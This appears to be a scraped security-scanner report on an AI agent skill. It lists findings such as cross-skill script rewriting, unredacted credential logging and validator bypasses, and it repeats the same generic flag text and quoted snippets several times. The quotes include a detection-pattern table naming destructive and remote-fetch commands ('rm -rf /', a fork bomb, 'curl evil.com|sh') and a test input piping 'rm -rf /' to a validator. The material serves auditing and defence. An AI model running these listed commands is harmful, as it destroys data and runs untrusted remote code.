T07 · Tool Hijacking and Spoofing
- Location
scripts/integrate_audit.py:250- Finding
Cross-Skill Source Rewriting Can Corrupt or Alter Executable Tools
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
This security skill mostly matches its stated purpose, but it includes an under-disclosed helper that can rewrite other installed skills and persist broad audit logs, so it needs review before installation.
Review this skill carefully before installing. Do not run scripts/integrate_audit.py unless you intentionally want it to modify other installed skills, have backups, and have reviewed the exact targets. Restrict audit log permissions, avoid logging raw secrets or private documents, set an audit secret if using signatures, and prefer explicit per-skill scanning or integration over all-skill operations.
scripts/integrate_audit.py:250Cross-Skill Source Rewriting Can Corrupt or Alter Executable Tools
scripts/integrate_audit.py:47Full Cross-Skill Payload Logging Can Store Unredacted Credentials
dependency_scanner.py:273Predictable Dependency-Scanner Temporary File Enables Symlink Overwrite and Scan Races
input_validator.py:105Allowed-Directory Validation Can Be Bypassed Through String Prefix Collisions
input_validator.py:140Empty Prompt Causes Division-by-Zero Denial of Service
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
python "$SKILLS_ROOT/security/input_validator.py" --skill scheduled-task --input -
echo '{"prompt": "rm -rf /"}' |
python "$SKILLS_ROOT/security/input_validator.py" --skill scheduled-task --input -
If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
If the skill can perform bulk modification of existing skill scripts, that is a materially sensitive capability not disclosed in the manifest and far beyond passive scanning. In a security skill context, hidden write access to many scripts is particularly dangerous because it could be used to inject code, alter trust boundaries, or silently tamper with protections under the guise of hardening.
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| 类别 | 模式示例 | 风险等级 |
|------|----------|----------|
| 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 |
| 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 |
| 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 |
| 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| 类别 | 模式示例 | 风险等级 |
|------|----------|----------|
| 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 |
| 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 |
| 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 |
| 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
| 类别 | 模式示例 | 风险等级 |
|------|----------|----------|
| 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 |
| 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 |
| 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 |
| 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 |
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
| 类别 | 模式示例 | 风险等级 |
|------|----------|----------|
| 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 |
| 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 |
| 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 |
| 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 |
| 危险函数 | `eval(`, `exec(`, `os.system(` | 🟡 中危 |
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
|------|----------|----------|
| 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 |
| 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 |
| 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 |
| 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 |
| 危险函数 | `eval(`, `exec(`, `os.system(` | 🟡 中危 |
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
| 系统破坏 | `rm -rf /`, `:(){:|:&};:` | 🔴 高危 |
| 路径遍历 | `../`, `..\\`, `/etc/passwd` | 🔴 高危 |
| 权限提升 | `sudo`, `su -`, `chmod 777` | 🔴 高危 |
| 网络攻击 | `curl evil.com\|sh`, `wget -O /tmp/pwn` | 🔴 高危 |
| 危险函数 | `eval(`, `exec(`, `os.system(` | 🟡 中危 |
**API:**
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
访问 https://github.com/join
### 3. 生成 Personal Access Token (PAT)
1. 登录 GitHub
2. 进入 **Settings** → **Developer settings** → **Personal access tokens** → **Tokens (classic)**
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
### 3. 生成 Personal Access Token (PAT)
1. 登录 GitHub
2. 进入 **Settings** → **Developer settings** → **Personal access tokens** → **Tokens (classic)**
3. 点击 **Generate new token** → **Generate new token (classic)**
4. 配置:
- **Note:** LobsterAI Security SKILL Upload
The inline comment at L079 says the default configuration is that all skills are public. In reality, when the config file is missing, no public skill list is populated, and has_permission() ultimately reaches the default-deny branch at L152-L160 for ordinary users. This is a direct contradiction between the comment and actual authorization behavior.
The document states that the Security Skill uses only the Python standard library and has no external dependencies, and further says the listed tools are not runtime dependencies. However, later sections document optional but real integrations using cryptography for log encryption and requests for remote SIEM delivery, which contradicts the blanket no-external-dependency claim in the same file.
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Linux/macOS(可选):
# 设置严格权限
# chmod 755 security
# chmod 644 security/*.py
# chown -R root:root security # 需要 sudo(不推荐)
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
# 设置严格权限
# chmod 755 security
# chmod 644 security/*.py
# chown -R root:root security # 需要 sudo(不推荐)
注意: 严格权限可能需要管理员/root 权限,仅建议在生产环境且符合安全策略时启用。开发环境通常不需要。
The audit logging setup explicitly records execution data and example payloads, but does not prominently warn that logs may contain sensitive prompts, results, identifiers, or policy-relevant metadata. In a security skill, undocumented local retention of sensitive data can create confidentiality and compliance exposure, especially if operators enable logging broadly without minimization.
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Linux/macOS(可选):
mkdir -p "$LOBSTERAI_HOME/logs/security"
# chmod 700 限制仅所有者访问(生产环境建议)
# chmod 700 "$LOBSTERAI_HOME/logs/security"
# chown root:root "$LOBSTERAI_HOME/logs/security" # 需要 sudo,不推荐以 root 运行 LobsterAI
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Linux/macOS(可选):
mkdir -p "$LOBSTERAI_HOME/logs/security"
# chmod 700 限制仅所有者访问(生产环境建议)
# chmod 700 "$LOBSTERAI_HOME/logs/security"
# chown root:root "$LOBSTERAI_HOME/logs/security" # 需要 sudo,不推荐以 root 运行 LobsterAI
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
**注意**: 配置文件包含敏感权限策略,建议在生产环境中限制访问权限。开发环境可跳过此步骤。
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
import requests
def send_to_siem(entry):
try:
requests.post('https://siem.company.com/audit', json=entry, timeout=5)
except Exception as e:
# 本地降级存储
pass
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
import requests
def send_to_siem(entry):
try:
requests.post('https://siem.company.com/audit', json=entry, timeout=5)
except Exception as e:
# 本地降级存储
pass
The README advertises runtime monitoring controls such as behavior tracking, resource limits, and anomaly detection, but the documented project structure and usage examples do not show components that implement those protections. This can create a false sense of security, leading operators to rely on safeguards that may not exist and to deploy the skill in higher-risk contexts without compensating controls.
No suspicious patterns detected.